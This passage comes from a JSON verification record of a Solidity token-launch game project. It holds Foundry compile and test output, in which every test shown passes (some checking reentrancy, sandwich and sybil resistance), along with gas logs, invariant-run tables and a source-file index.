test_failedGenesisKeepsKingAndBurnClosedAndLaunchOnlyRelaunchesPvp() (gas: 10424529)\n[PASS] test_failedGenesisRelaunchLeavesCarryInPad() (gas: 11983432)\n[PASS] test_finalizeWithTwoHundredLivingImpsWorstCaseOrderFitsInBlock() (gas: 132983986)\nLogs:\n  finalize gas, 200 living imps, worst-case order: 4057835\n\n[PASS] test_fundGamesOnlyLooksAtLastTenLaunches() (gas: 36445459)\n[PASS] test_fundGamesSkipsGamesWithFewerThanFiveImpsAndEndedOnes() (gas: 23032649)\n[PASS] test_fundGamesSplitsEquallyWhenAllPotsEmpty() (gas: 19900096)\n[PASS] test_fundPotRefusedFromStrangersAndAfterFinalize() (gas: 9326781)\n[PASS] test_hashWindowBoundaryAt257And258Blocks() (gas: 10235446)\n[PASS] test_hookRejectsForeignInitializeWithWrongKeyToo() (gas: 7924697)\n[PASS] test_kingConstructorCannotBindTwice() (gas: 9199)\n[PASS] test_lastRollOnCurveUsesOnlyRemainingEthAndRestToPot() (gas: 9364934)\n[PASS] test_launchViewsRejectIdZero() (gas: 33188)\n[PASS] test_liquidityMayMoveLockedTokensAndApprovalsWorkAfterUnlock() (gas: 9580182)\n[PASS] test_mintEventsAndLaunchEvent() (gas: 16747902)\n[PASS] test_mintOnFreshLaunchBeforeItsOwnFirstMintIsStatusZero() (gas: 16285390)\n[PASS] test_noBellAllToRanksAndDustToCarry() (gas: 15538778)\n[PASS] test_openPadAndGenesisNeedBindings() (gas: 78100)\n[PASS] test_openPadAtExactDeadlineByStranger() (gas: 7836139)\n[PASS] test_openPadEmitsAndIsFinal() (gas: 7878220)\n[PASS] test_openPadRejectsExtraHookFlags() (gas: 28396291)\n[PASS] test_reentrantDistributeFromKingIsRefused() (gas: 16696963)\n[PASS] test_reentrantKingRefundIsRefusedAndMadeClaimable() (gas: 16937995)\n[PASS] test_reentrantWinnerIsRefusedAndMadeClaimable() (gas: 10802254)\n[PASS] test_resolveIsPermissionlessAndIdempotent() (gas: 9650892)\n[PASS] test_restartGenesisNeedsOpenPadAndFailedGenesis() (gas: 15670573)\n[PASS] test_singleLivingImpTakesEverything() (gas: 12050491)\n[PASS] test_soldOutCurveSendsWholeRollToPot() (gas: 9306530)\n[PASS] test_takeCrownBeforeAnyBidRejectsZeroAndDust() (gas: 15720184)\nSuite result: ok. 36 passed; 0 failed; 0 skipped; finished in 2.80s (978.49ms CPU time)\n\nRan 15 tests for test/Raffle.t.sol:RaffleTest\n[PASS] testFuzz_everyEntrantPlaysAtOrBelow200(uint16) (runs: 64, μ: 22653405, ~: 18300947)\nLogs:\n  Bound result 61\n\n[PASS] test_5000EntriesChunkedDrawGasAndNonselectedFeesStayBurned() (gas: 116682874)\nLogs:\n  5000-entry draw max chunk gas (cold game): 2668320\n  5000-entry draw total gas: 16251690\n\n[PASS] test_contractWalletCanEnterAndViewsArePaged() (gas: 54960475)\n[PASS] test_drawBeforeEntryBeforeSignupAndZeroChunkRejected() (gas: 416801)\n[PASS] test_entryExactFeeOnePerWalletAndNoRefund() (gas: 627397)\n[PASS] test_entryFeesAlsoFundBurnOnOrdinaryGames() (gas: 8635256)\n[PASS] test_entryGateAndReentrantBurnCallback() (gas: 1191564)\n[PASS] test_failedGenesisGriefCostsOneFeeEveryRoundAndNeverRefunds() (gas: 5161602)\n[PASS] test_firstEntryStartsTenMinutesAndLateEntryRejected() (gas: 661852)\n[PASS] test_hashAtExactly256BlocksOldStillSeeds() (gas: 705113)\n[PASS] test_lapsedCommitFallsBackOnceAndNeverRecommits() (gas: 51586817)\n[PASS] test_manySeedsGiveEarlyAndLateEntrantsEqualOpportunity() (gas: 526724)\n[PASS] test_noRollUntilAllSeatsDrawnAndDelayedPlayStartsFresh() (gas: 52194239)\n[PASS] test_seedUsesOnlyThreeFutureL2HashesAndChunkSizeCannotChangeSeats() (gas: 96933040)\n[PASS] test_upkeepCommitsThenDrawsInBoundedChunksAndKingCountsEntries() (gas: 1930190)\nSuite result: ok. 15 passed; 0 failed; 0 skipped; finished in 2.80s (5.75s CPU time)\n\nRan 24 tests for test/V4Pad.t.sol:V4PadTest\n[PASS] testFuzz_bailSequencesConserveETHAndSupply(uint8,uint8) (runs: 64, μ: 10809723, ~: 10719895)\nLogs:\n  Bound result 3\n\n[PASS] testFuzz_sandwichOnConversionChunkLoses(uint96) (runs: 64, μ: 70736657, ~: 70729443)\nLogs:\n  Bound result 59999900000000005056\n\n[PASS] test_IMDDonationsDoNotChangeConversionCreditOrGraduationPrice() (gas: 2794318)\n[PASS] test_bailAfterActualSellOutReopensCurveAndCostCountsOnlySpentETH() (gas: 5443888)\n[PASS] test_bailOnlyDuringPlayAndOnlySeatedWallets() (gas: 3384925)\n[PASS] test_bailOutProfitLossMinOutAndConservation() (gas: 3134793)\n[PASS] test_bothCurrencyOrdersGraduateAndPayTheCorrectKingAssets() (gas: 7558572)\n[PASS] test_constructorPoolIdRejectsChangedVenueFields() (gas: 20731)\n[PASS] test_conversionAccessAndConstructorKeyValidation() (gas: 175725)\n[PASS] test_conversionLimitIntervalPartialFillAndEscrow() (gas: 70207746)\n[PASS] test_deadWalletMayBailWhileAnotherLivesAndErasedActivityDoesNotDelayEnd() (gas: 3135423)\n[PASS] test_erasureExcludesRankingBellLivingAndFundedReleaseButPaysPendingTip() (gas: 4774633)\n[PASS] test_exactIMDKeyAndEmptyApplicationDeployment() (gas: 67647)\n[PASS] test_graduationPriceEquivalentAndUnlocksInSameTransaction() (gas: 4529746)\n[PASS] test_kingCollectsIMDAndCoinsInKindAcrossCrown() (gas: 4619842)\n[PASS] test_largeRawTokenRatioDoesNotOverflowPriceEncoding() (gas: 6831)\n[PASS] test_lowGasProbeCannotConsumeConversionInterval() (gas: 69817919)\n[PASS] test_partial24HourFallbackUsesIMDAndCarriesOnlyRemainingETH() (gas: 70630112)\n[PASS] test_rejectedBailPaymentRemainsClaimableAndCannotBePaidTwice() (gas: 1848757)\n[PASS] test_soleBuyerSybilWithProfitableBailAndFiveSurvivorsStillLosesAfterTwoHopDump() (gas: 83739672)\nLogs:\n  Sybil net curve ETH after bailout: 433763283181329605\n  Sybil loss excluding entries and gas: 116818580362673557\n\n[PASS] test_twoGamesKeepIndependentConversionEscrows() (gas: 160304667)\n[PASS] test_twoHopBurnBothPriceLimitsIntervalAndIntermediateAccounting() (gas: 3242518)\nLogs:\n  Two-hop burn gas: 283960\n\n[PASS] test_upkeepConvertsAndGraduatesWithBoundedGas() (gas: 70660322)\nLogs:\n  Conversion upkeep gas: 451623\n\n[PASS] test_zeroLiquidityChunksDoNotExtendTimeout() (gas: 2898612)\nSuite result: ok. 24 passed; 0 failed; 0 skipped; finished in 2.80s (3.10s CPU time)\n\nRan 1 test for test/V3KingFeesInvariant.t.sol:V3KingFeesInvariantTest\n[PASS]\nV3KingFeesInvariantTest invariants:\n[PASS] invariant_eachReignKeepsItsETHAndTokensIncludingRejectedPayments\n[PASS] invariant_realV4FeesAndBidsConserveETH\n V3KingFeesInvariantTest invariants (runs: 128, calls: 8192, reverts: 0)\n\n╭----------------------+------------+-------+---------+----------╮\n| Contract             | Selector   | Calls | Reverts | Discards |\n+================================================================+\n| KingFeeLedgerHandler | bid        | 1596  | 0       | 0        |\n|----------------------+------------+-------+---------+----------|\n| KingFeeLedgerHandler | claim      | 1656  | 0       | 0        |\n|----------------------+------------+-------+---------+----------|\n| KingFeeLedgerHandler | distribute | 1594  | 0       | 0        |\n|----------------------+------------+-------+---------+----------|\n| KingFeeLedgerHandler | donate     | 1674  | 0       | 0        |\n|----------------------+------------+-------+---------+----------|\n| KingFeeLedgerHandler | starveBid  | 1672  | 0       | 0        |\n╰----------------------+------------+-------+---------+----------╯\n\nLogs:\n  Bound result 0\n  Bound result 1000000000000000\n  Bound result 100000000000000000000\n  Bound result 16\n  Bound result 0\n  Bound result 500000\n  Bound result 5400401\n  Bound result 5275559\n  Bound result 15899\n  Bound result 5400201\n  Bound result 4253857993\n  Bound result 4999000000000000000\n  Bound result 4996498182808\n  Bound result 9\n  Bound result 10000\n  Bound result 5000\n  Bound result 459253\n  Bound result 94210890951955\n  Bound result 1971339\n  Bound result 5400021\n  Bound result 5419765\n  Bound result 14726\n  Bound result 5222\n  Bound result 5414318\n  Bound result 4948492\n  Bound result 90000000000001\n  Bound result 15604\n  Bound result 100003\n  Bound result 912081\n  Bound result 5406721\n  Bound result 5745\n  Bound result 12\n  Bound result 7477639625207\n  Bound result 64155663493756185507225\n  Bound result 21572\n  Bound result 21261\n  Bound result 6835\n  Bound result 5400591\n  Bound result 50524267\n  Bound result 590\n  Bound result 154087980144090\n  Bound result 27954035693068267135670\n  Bound result 27\n  Bound result 1000\n  Bound result 1269\n  Bound result 1507695\n  Bound result 11000\n  Bound result 6667\n  Bound result 2542593\n  Bound result 6000000\n  Bound result 55619632766004\n  Bound result 4814850\n  Bound result 31\n  Bound result 350\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.58s (3.53s CPU time)\n\nRan 1 test for test/V3ResolverInvariant.t.sol:V3ResolverInvariantTest\n[PASS]\nV3ResolverInvariantTest invariants:\n[PASS] invariant_eachTipIsPendingExpiredOrOwedToItsActualResolver\n[PASS] invariant_paidETHAndTokensRemainFullyAccounted\n V3ResolverInvariantTest invariants (runs: 128, calls: 12288, reverts: 0)\n\n╭-----------------------+----------+-------+---------+----------╮\n| Contract              | Selector | Calls | Reverts | Discards |\n+===============================================================+\n| ResolverLedgerHandler | advance  | 3057  | 0       | 0        |\n|-----------------------+----------+-------+---------+----------|\n| ResolverLedgerHandler | claim    | 3129  | 0       | 0        |\n|-----------------------+----------+-------+---------+----------|\n| ResolverLedgerHandler | resolve  | 3087  | 0       | 0        |\n|-----------------------+----------+-------+---------+----------|\n| ResolverLedgerHandler | roll     | 3015  | 0       | 0        |\n╰-----------------------+----------+-------+---------+----------╯\n\nLogs:\n  Bound result 1\n  Bound result 16\n  Bound result 59\n  Bound result 21\n  Bound result 29\n  Bound result 26\n  Bound result 7\n  Bound result 36\n  Bound result 6\n  Bound result 21\n  Bound result 8\n  Bound result 4\n  Bound result 3\n  Bound result 2\n  Bound result 66\n  Bound result 7\n  Bound result 6\n  Bound result 31\n  Bound result 32\n  Bound result 28\n  Bound result 14\n  Bound result 74\n  Bound result 67\n  Bound result 89\n  Bound result 8\n  Bound result 90\n  Bound result 15\n  Bound result 50\n  Bound result 76\n  Bound result 15\n  Bound result 12\n  Bound result 21\n  Bound result 47\n  Bound result 10\n  Bound result 66\n  Bound result 37\n  Bound result 17\n  Bound result 13\n  Bound result 11\n  Bound result 62\n  Bound result 18\n  Bound result 23\n  Bound result 18\n  Bound result 27\n  Bound result 76\n  Bound result 15\n  Bound result 36\n  Bound result 74\n  Bound result 41\n  Bound result 43\n  Bound result 35\n  Bound result 24\n  Bound result 9\n  Bound result 16\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.71s (5.66s CPU time)\n\nRan 22 test suites in 5.72s (35.59s CPU time): 219 tests passed, 0 failed, 0 skipped (219 total tests)\n","passed":true},{"durationMs":85,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"KingOfThePad.claim()\",\"KingOfThePad.distribute(uint256)\",\"KingOfThePad.takeCrown()\",\"PadGame.bailOut(uint256)\",\"PadGame.claim()\",\"PadGame.draw(uint256)\",\"PadGame.enter()\",\"PadGame.finalize()\",\"PadGame.fundPot()\",\"PadGame.graduate()\",\"PadGame.initialize(uint256,address,address,bool)\",\"PadGame.poke()\",\"PadGame.prepareConversion()\",\"PadGame.resolvePending(uint256)\",\"PadGame.roll()\",\"PadGame.upkeepStep(address)\",\"PadLiquidity.bindKing()\",\"PadLiquidity.burnChunk()\",\"PadLiquidity.claim()\",\"PadLiquidity.collectPool(uint256,address)\",\"PadLiquidity.convertChunk(address)\",\"PadLiquidity.deployHook(bytes32)\",\"PadLiquidity.distribute(uint256)\",\"PadLiquidity.executeConversion(uint256)\",\"PadLiquidity.fundBurn()\",\"PadLiquidity.graduate(uint256,address,uint256,uint256,uint256)\",\"PadLiquidity.receive()\",\"PadLiquidity.retryPool(uint256)\",\"PadLiquidity.settleCrown()\",\"PadLiquidity.startConversion(uint256,uint64)\",\"PadLiquidity.unlockCallback(bytes)\",\"PadToken.approve(address,uint256)\",\"PadToken.initialize(string,string,address,address)\",\"PadToken.reclaim(address,uint256)\",\"PadToken.transfer(address,uint256)\",\"PadToken.transferFrom(address,address,uint256)\",\"PadToken.unlock()\",\"PvPPad.bindLiquidity()\",\"PvPPad.fundCarry()\",\"PvPPad.fundGames()\",\"PvPPad.launch(string,string,string)\",\"PvPPad.noteFirstEntry(uint256)\",\"PvPPad.openPad(bytes32)\",\"PvPPad.restartGenesis()\",\"PvPPad.startGenesis()\",\"PvPPad.takeCarry(uint256,uint256)\",\"PvPPad.upkeep()\",\"PvPPad.upkeepFor(address)\"],\"files\":{\".gitignore\":4,\"README.md\":257,\"docs/AUDIT-V2-HISTORY.md\":256,\"docs/AUDIT-V3-HISTORY.md\":311,\"docs/AUDIT.md\":405,\"docs/TEST-REPORT.md\":124,\"docs/VERIFY.md\":74,\"foundry.toml\":22,\"launch.json\":39,\"remappings.txt\":2,\"src/KingOfThePad.sol\":131,\"src/PadGame.sol\":789,\"src/PadHook.sol\":26,\"src/PadLiquidity.sol\":622,\"src/PadToken.sol\":94,\"src/PvPPad.sol\":310,\"src/interfaces/Interfaces.sol\":119,\"src/interfaces/PadErrors.sol\":87,\"src/libs/PadLib.sol\":120,\"test/Adversarial.t.sol\":800,\"test/AtomicDeployment.t.sol\":126,\"test/AuditV3.t.sol\":397,\"test/AuditV3CarryUpkeep.t.sol\":191,\"test/Base.t.sol\":225,\"test/CrownSettlement.t.sol\":252,\"test/Fuzz.t.sol\":293,\"test/Game.t.sol\":762,\"test/Invariants.t.sol\":580,\"test/King.t.sol\":314,\"test/LiquidityV4.t.sol\":248,\"test/Pad.t.sol\":299,\"test/Raffle.t.sol\":408,\"test/RaffleEdges.t.sol\":273,\"test/RealV4.sol\":85,\"test/Revision.t.sol\":263,\"test/V3-CONTRIBUTOR-REPORT.md\":126,\"test/V3AccountingActors.sol\":18,\"test/V3CarryProperties.t.sol\":130,\"test/V3FailureEdges.t.sol\":354,\"test/V3KingFeesInvariant.t.sol\":250,\"test/V3ResolverInvariant.t.sol\":208,\"test/V4Pad.t.sol\":851,\"test/mocks/Mocks.sol\":32,\"tools/validate_manifest.py\":86},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"b5c7a0ed1a1aea50f0f9ad47992f90209afeb4736976bd36c7901c192e6eef0c","verifiedTreeHash":"a952f01a7126b7936eca998b72b61f5921ff0868","verifierVersion":"0.1.0+8fbf00a5"},{"checks":[{"durationMs":211895,"exitCode":0,"name":"build","output":"Compiling 98 files with Solc 0.8.26\nSolc 0.8.26 finished in 211.74s\nCompiler run successful!\n","passed":true},{"durationMs":7590,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 4 tests for test/V3FailureEdges.t.sol:V3PoolFailureEdgesTest\n[PASS] test_onlyCrownMayRequestStrictSettlementAndIndexErrorsDoNotChangeHealth() (gas: 142005)\n[PASS] test_retryInsideRealManagerUnlockCannotDiagnoseHealthyPoolAsBroken() (gas: 779485)\n[PASS] test_successBetweenFailuresRequiresThreeNewDistinctBlocksToBreakPool() (gas: 3622877)\n[PASS] test_tokenTransferFailureRollsBackBothFeeCurrenciesAndCanBeRecovered() (gas: 1372189)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 36.68ms (3.92ms CPU time)\n\nRan 1 test for test/AtomicDeployment.t.sol:AtomicDeploymentTest\n[PASS] test_atomicManifestGasIncludingCalldataAndLaterGenesisFitsTarget() (gas: 42142554)\nLogs:\n  Raw CREATE2 manifest gas including calldata and intrinsic: 12188384\n  Later openPad including hook and genesis gas: 774386\n  Combined manifest and later opening gas: 12962770\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 45.58ms (45.43ms CPU time)\n\nRan 2 tests for test/V4Pad.t.sol:V4FallbackTest\n[PASS] test_nativeGenesisThenIMDGraduationLeavesNoStrandedQuoteDust() (gas: 20464485)\n[PASS] test_zeroIMDAfter24HoursGraduatesNativeAndPreservesV3Burn() (gas: 11191889)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 66.79ms (64.21ms CPU time)\n\nRan 14 tests for test/King.t.sol:KingTest\n[PASS] test_burnChunkBuysPvpToDeadEvery10Minutes() (gas: 1039588)\n[PASS] test_burnChunkStopsAtOnePercentPriceMoveAndKeepsTheRest() (gas: 257951)\n[PASS] test_burnWaitsForPvpGraduation() (gas: 7552812)\n[PASS] test_challengeNeedsHoldAnd110Percent() (gas: 1118559)\n[PASS] test_distributeSendsPoolFeesToKing() (gas: 938135)\n[PASS] test_distributeWithoutKingLeavesFeesInPosition() (gas: 870058)\n[PASS] test_extraFundsLiveGamesByPotSize() (gas: 9416623)\n[PASS] test_firstBidMinimumAndFullSplit() (gas: 595367)\n[PASS] test_launchAfterGenesisPlaysAndGraduatesIntoOwnPool() (gas: 9770705)\n[PASS] test_refundToRejectingKingIsClaimable() (gas: 1057613)\n[PASS] test_sandwichOnBurnChunkDoesNotPay() (gas: 1010910)\n[PASS] test_takeCrownUpkeepPaysFinalizerFeeToBidder() (gas: 3963506)\n[PASS] test_unlockCallbackOnlyPoolManager() (gas: 35152)\n[PASS] test_upkeepForAcceptsKingContract() (gas: 148166)\nSuite result: ok. 14 passed; 0 failed; 0 skipped; finished in 69.73ms (23.46ms CPU time)\n\nRan 5 tests for test/AuditV3.t.sol:AuditV3GameTest\n[PASS] test_lapsedSeedIsIndependentOfCallerAndCaptureDelayAndBountyPaidOnce() (gas: 2995719)\n[PASS] test_nonGenesisSplitAndExpiredTipGoesToPotWithPenalty() (gas: 10657368)\n[PASS] test_resolveBatchClampsToSixteenAndLowGasStopsSafely() (gas: 20102889)\n[PASS] test_tenBlocksPerSecondSixtySecondRollerNeverExpiresWithResolver() (gas: 6286621)\n[PASS] test_upkeepSeedBountyGoesToCallerAndNotPad() (gas: 1926233)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 71.47ms (23.96ms CPU time)\n\nRan 7 tests for test/AuditV3.t.sol:AuditV3KingTest\n[PASS] test_failedPoolRequiresThreeDistinctL2BlocksThenAnyoneCanRecoverIt() (gas: 2652956)\n[PASS] test_failedSettlementRollsBackEarlierHealthyPoolPayments() (gas: 7027031)\n[PASS] test_firstCrownAlsoRejectsUnlockedManager() (gas: 407099)\n[PASS] test_gasStarvedBidRevertsWithoutChangingCrownOrPoolHealth() (gas: 1176660)\n[PASS] test_outgoingKingGetsLargeTokenFeesInKindAndNextKingGetsNoStash() (gas: 2484224)\n[PASS] test_sixteenPoolsBothCurrenciesAndGasEatingKingFitSettlementBudget() (gas: 10164114)\nLogs:\n  16 real pools both currencies, rejecting king, bid gas used: 4752792\n\n[PASS] test_unlockCallbackCannotTakeCrownOrDistribute() (gas: 1913308)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 136.61ms (104.17ms CPU time)\n\nRan 35 tests for test/Game.t.sol:GameTest\n[PASS] test_bellEndsGame() (gas: 2119062)\n[PASS] test_claimableWinner() (gas: 2921499)\n[PASS] test_conservationOfEth() (gas: 6041969)\n[PASS] test_curveQuoteMatchesConstantProduct() (gas: 43172)\n[PASS] test_deadImpCannotRingTheBell() (gas: 2477687)\n[PASS] test_deadImpCannotRollWhileOthersPlay() (gas: 2534818)\n[PASS] test_deathAndAllDeadEnd() (gas: 1997190)\n[PASS] test_entryOnePerWalletAndSignupWindow() (gas: 1636392)\n[PASS] test_expiredRollMovesTowardZero() (gas: 2574127)\n[PASS] test_failedPushBecomesClaimable() (gas: 1622203)\n[PASS] test_finalizePaysTriangularRanksAndBell() (gas: 5527376)\n[PASS] test_finalizeRanksAndPays() (gas: 4880733)\n[PASS] test_finalizeWaitsForPendingRolls() (gas: 1845603)\n[PASS] test_finalizeWith200LivingImpsStaysUnderFiveMillionGas() (gas: 120352409)\n[PASS] test_finalizerFeeCapped() (gas: 12922624)\n[PASS] test_finalizerFeeNeverExceedsRollPot() (gas: 1882762)\n[PASS] test_firstEntryStartsSignupWithoutSeating() (gas: 402636)\n[PASS] test_fundPotOnlyPad() (gas: 44007)\n[PASS] test_fundedPotReleasedToFiveLivingCappedAtThreeTimesRollPot() (gas: 21472067)\n[PASS] test_fundedPotReturnsToCarryWhenFewerThanFiveLive() (gas: 3714760)\n[PASS] test_graduateOnlyFromGame() (gas: 73156)\n[PASS] test_graduationCreatesPoolUnlocksTokenBurnsExcess() (gas: 8372440)\n[PASS] test_graduationWithoutEthFailsAndBurns() (gas: 1574907)\n[PASS] test_hardEndAt50MinutesAfterPlayStart() (gas: 4307012)\n[PASS] test_nonGenesisBurnShareGoesToBurnBucket() (gas: 9863196)\n[PASS] test_resolveBatchIncludesTenRolls() (gas: 7530549)\n[PASS] test_rollAfterOwnBellReverts() (gas: 2439060)\n[PASS] test_rollRequiresPlayPhasePriceAndImp() (gas: 2031399)\n[PASS] test_rollResolvesAfterThreeBlocksWithArbHashes() (gas: 1919768)\n[PASS] test_rollResolvesOwnPreviousRoll() (gas: 1863731)\n[PASS] test_rollSplitGenesisBurnShareToPot() (gas: 1529666)\n[PASS] test_soldOutCurveSendsRollToPot() (gas: 1461282)\n[PASS] test_tieBreakFollowsCommitOrderNotResolutionOrder() (gas: 3242811)\n[PASS] test_tokenLockedUntilGraduation() (gas: 1616740)\n[PASS] test_upkeepFinalizesAndGraduatesDueGame() (gas: 3110164)\nSuite result: ok. 35 passed; 0 failed; 0 skipped; finished in 228.82ms (244.76ms CPU time)\n\nRan 6 tests for test/AuditV3CarryUpkeep.t.sol:AuditV3CarryUpkeepTest\n[PASS] test_fiveWalletCarryChainOnlyPullsUnusedCapAtFinalize() (gas: 50476765)\n[PASS] test_fiveWalletNoRollChainNeverTakesCarry() (gas: 5337200)\n[PASS] test_ownGasEstimateEntryAndRollWithForeignDraw() (gas: 987189)\nLogs:\n  own entry gas limit: 185957\n  own roll gas limit: 187792\n\n[PASS] test_ownGasEstimateEntryAndRollWithForeignFinalize() (gas: 1021207)\nLogs:\n  own entry gas limit: 185957\n  own roll gas limit: 191464\n\n[PASS] test_ownGasEstimateEntryAndRollWithForeignGraduate() (gas: 1021573)\nLogs:\n  own entry gas limit: 185957\n  own roll gas limit: 191464\n\n[PASS] test_upkeepSubcallCanExhaustItsFullStipendWithoutRevertingEntry() (gas: 49698406)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 478.18ms (459.18ms CPU time)\n\nRan 22 tests for test/V4Edges.t.sol:V4EdgesTest\n[PASS] testFuzz_bailPayoutFormulaAndCurveLedger(uint8,uint8,uint96) (runs: 256, μ: 5015437, ~: 4661973)\nLogs:\n  Bound result 4\n  Bound result 1612536205819373\n\n[PASS] test_bailOutRefusedAfterBellAndAfterHardEnd() (gas: 2418479)\n[PASS] test_bailOutRefusedAtHardEndEvenWithLiveActivity() (gas: 5310193)\n[PASS] test_bandStallDoesNotConsumeIntervalAndArbitrageReopensItInTheSameBlock() (gas: 3603938)\n[PASS] test_burnSecondHopRunsOnLeftoverIMDWhenTheBucketIsEmpty() (gas: 3350969)\n[PASS] test_burnWithDryIMDVenueSpendsNothingAndKeepsTheBucket() (gas: 3161441)\n[PASS] test_chunkStopsExactlyAtTheLimitAndArbitrageBetweenChunksRefillsThem() (gas: 71874864)\n[PASS] test_directGraduateBeforeConversionRevertsWithoutLeavingAnEscrow() (gas: 2926617)\n[PASS] test_dryVenueAfterPartialProgressFallsBackWithPartialIMD() (gas: 71318986)\n[PASS] test_erasedSeatOneBelowCapNeverRingsTheBell() (gas: 2473881)\n[PASS] test_everySeatBailingOutEndsTheGameAtOnceAndFailsGraduation() (gas: 3883851)\n[PASS] test_expiredPendingRollOfErasedSeatPaysTipToPotWithNoEffect() (gas: 2723476)\n[PASS] test_flashPushInsideAnUnlockIsNotRecordedByObserveMarketOrThePadUpkeep() (gas: 3685901)\n[PASS] test_heldStallForTwentyFourHoursGraduatesNativeWhenNoIMDWasEverConverted() (gas: 7761143)\n[PASS] test_heldStallIsFollowedByAnchorDecayWithinHoursNotMinutes() (gas: 3398861)\n[PASS] test_kingSplitIgnoresGameWithErasedSeatBelowFive() (gas: 5048339)\n[PASS] test_kingThatRejectsETHStillReceivesIMDAndCoinsInKind() (gas: 4025707)\n[PASS] test_lastChunkFillsCompletelyBelowTheLimitAndClosesTheEscrow() (gas: 2302735)\n[PASS] test_prepareConversionGatesAndIsIdempotent() (gas: 3766985)\n[PASS] test_seatedWalletWithoutCoinsBailsForZeroAndMinOutOneReverts() (gas: 2705542)\n[PASS] test_strangerCannotStartOrCloseAnEscrowAndGraduateRejectsValue() (gas: 2163090)\n[PASS] test_strangerObservationOfAGenuineRiseLetsTheNextChunkSellAtTheBetterPrice() (gas: 2404037)\nSuite result: ok. 22 passed; 0 failed; 0 skipped; finished in 656.86ms (742.62ms CPU time)\n\nRan 6 tests for test/RaffleEdges.t.sol:RaffleEdgesTest\n[PASS] testFuzz_above200ExactlyTwoHundredDistinctSeats(uint16,uint32,uint8) (runs: 24, μ: 82872492, ~: 80100411)\nLogs:\n  Bound result 245\n  Bound result 2\n\n[PASS] test_deathAtExactlyTenMinutesFromPlayStartAndAllDeadEndsTheGame() (gas: 2741912)\n[PASS] test_kingFundsSignupGameByEntriesAndFundedEthReturnsToCarryWhenNobodyRolls() (gas: 12317228)\n[PASS] test_repeatedDrawCallsInOneBlockOnlyAdvanceAfterSeedAndNeverSeatTwice() (gas: 68203109)\n[PASS] test_rollOneSecondBeforeHardEndWorksAndAtHardEndReverts() (gas: 4943186)\n[PASS] test_unselectedEntrantKeepsEntryHasNoSeatAndCannotRollOrReenter() (gas: 50961407)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 1.17s (1.21s CPU time)\n\nRan 9 tests for test/Revision.t.sol:RevisionTest\n[PASS] test_carryStaysInPadEvenAfterFiveSeats() (gas: 20635517)\n[PASS] test_freeLaunchesDoNotCrowdEnteredGamesOutOfTheKingWindowOrUpkeep() (gas: 26745053)\n[PASS] test_fullRangeSqrtPriceConstantsMatchTickMath() (gas: 17025)\n[PASS] test_liquidityClaimLockIsSeparateFromThePoolGuard() (gas: 16810219)\n[PASS] test_outgoingKingIsPaidEvenWhenTheBidComesFromInsideLiquidityClaim() (gas: 17778092)\n[PASS] test_seatedEventUsesTheSameOneBasedIndexesAsTheViews() (gas: 8573835)\n[PASS] test_soleBuyerSybilLosesMoneyEvenAfterDumpingEveryTokenAndTakingTheCappedRelease() (gas: 18353261)\nLogs:\n  curve ETH raised: 441000000000000000\n  sybil net outlay before the dump: 399450000000000000\n  dump proceeds: 259263336672922359\n\n[PASS] test_takeCarryAndNoteFirstEntryAreGameOnly() (gas: 16479057)\n[PASS] test_takeCrownRevertsInsteadOfSkippingTheOutgoingKingWhileLiquidityIsLocked() (gas: 16427016)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 1.85s (506.15ms CPU time)\n\nRan 7 tests for test/CrownSettlement.t.sol:CrownSettlementTest\n[PASS] test_bidderCannotSteerCursorToDivertReignFees() (gas: 6364219)\n[PASS] test_brokenPoolSkippedByTwoCrownsPaysTheEarliestUnsettledReign() (gas: 2410300)\n[PASS] test_extraBidGasSettlesMorePoolsInOneBid() (gas: 19856245)\nLogs:\n  takeCrown gas, sixty real pools fully settled: 7767448\n\n[PASS] test_firstCrownOpensNoReignAndPaysPreCrownFeesToTheFirstKing() (gas: 714463)\n[PASS] test_nonKingCannotSettleOrCloseAReign() (gas: 459684)\n[PASS] test_poolsBeyondTheBidGasStayOwedToTheOutgoingKing() (gas: 23966178)\nLogs:\n  pools settled by a minimum-gas bid, sixty real pools: 40\n\n[PASS] test_settlementRevertsBelowSixteenPoolsAndSucceedsAbove() (gas: 6152028)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 1.85s (3.08s CPU time)\n\nRan 21 tests for test/Pad.t.sol:PadTest\n[PASS] test_bindingsAndOwner() (gas: 107524)\n[PASS] test_bindingsAreOneShot() (gas: 87591)\n[PASS] test_carryPotStaysThroughNextDraw() (gas: 18355823)\n[PASS] test_closedPadRevertsEverything() (gas: 103611)\n[PASS] test_constructorsNeedNoExternalCodeAndMintNothing() (gas: 719380)\n[PASS] test_deployGasUnderBudget() (gas: 19942)\n[PASS] test_deployHookOnlyByPad() (gas: 33191)\n[PASS] test_failedGenesisIsRestartedByLaunchAndThePadRecovers() (gas: 19554319)\n[PASS] test_fundGamesOnlyKing() (gas: 39546)\n[PASS] test_hookRejectsForeignInitialize() (gas: 7965257)\n[PASS] test_launchRevertsUntilGenesisGraduates() (gas: 16600991)\n[PASS] test_launchValidatesStrings() (gas: 15892604)\n[PASS] test_openPadByAnyoneAfter30Days() (gas: 7835641)\n[PASS] test_openPadByOwnerDeploysHookWithExactFlag() (gas: 7869431)\n[PASS] test_openPadOnlyOnce() (gas: 7907774)\n[PASS] test_openPadRejectsBadSalt() (gas: 203584)\n[PASS] test_openPadStrangerBefore30DaysReverts() (gas: 7135355)\n[PASS] test_restartGenesisRevertsWhileGenesisWaitsOrPlays() (gas: 8290913)\n[PASS] test_runtimeSizesAndNoEscapeOpcodes() (gas: 37951859)\n[PASS] test_templatesCannotBeInitialized() (gas: 8006246)\n[PASS] test_upkeepForOnlyGames() (gas: 8052699)\nSuite result: ok. 21 passed; 0 failed; 0 skipped; finished in 2.57s (700.45ms CPU time)\n\nRan 9 tests for 